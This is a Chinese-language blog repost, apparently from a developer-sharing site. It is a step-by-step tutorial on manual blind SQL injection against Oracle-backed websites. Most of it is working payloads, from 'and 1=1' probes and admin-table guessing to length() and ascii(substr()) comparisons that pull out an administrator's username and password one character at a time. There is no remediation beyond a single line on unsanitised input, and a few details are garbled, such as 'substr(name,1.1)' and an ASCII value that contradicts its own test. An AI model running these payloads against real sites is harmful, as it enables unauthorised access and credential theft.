我是靠谱客的博主 爱笑小蚂蚁,最近开发中收集的这篇文章主要介绍Oracle数据库手工注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述


一、出现注入点的原因:程序员在编写代码时没有对用户输入的字符进行特殊处理。导致用户输入的特殊字符附带在参数中直接与数据库进行交互。

二、注入过程
1、打开一个连接地址:在网址后面加and 1=1 正常,and 1=2 错误。说明存在注入漏洞、

2、判断一下数据库中的表
and (select count(*) from admin)<>0返回正常。说明存在admin表。如果返回错误,可将admin改为username、manage等常用表名继续猜解、

3、判断一下该网站有几个管理员。
and (select count(*) from admin)=1 返回正常说明只有一个管理员

4、已知表的前提下,判断表中字段结构。
and (select count(name) from admin)>=0 返回正常,说明存在name字段
and (select count(pass) from admin)>=0 返回错误,说明不存在pass字段

5、采用ASCII码折半猜解管理员账号和密码:
判断管理员账号的长度:
and (select count(*) from admin where length(name)>=5)=1
//*length()函数用于求字符串长度,此处用来猜解用户名的长度和5做比较,猜测用户名是否由5个字符组成

判断管理员账号的值:
and (select count(*) from admin where ascii(substr(name,1.1))>=97)=1
//*substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码、此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知94

相同方法猜解密码
and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

  ......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8
and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a

最后

以上就是爱笑小蚂蚁为你收集整理的Oracle数据库手工注入的全部内容,希望文章能够帮你解决Oracle数据库手工注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部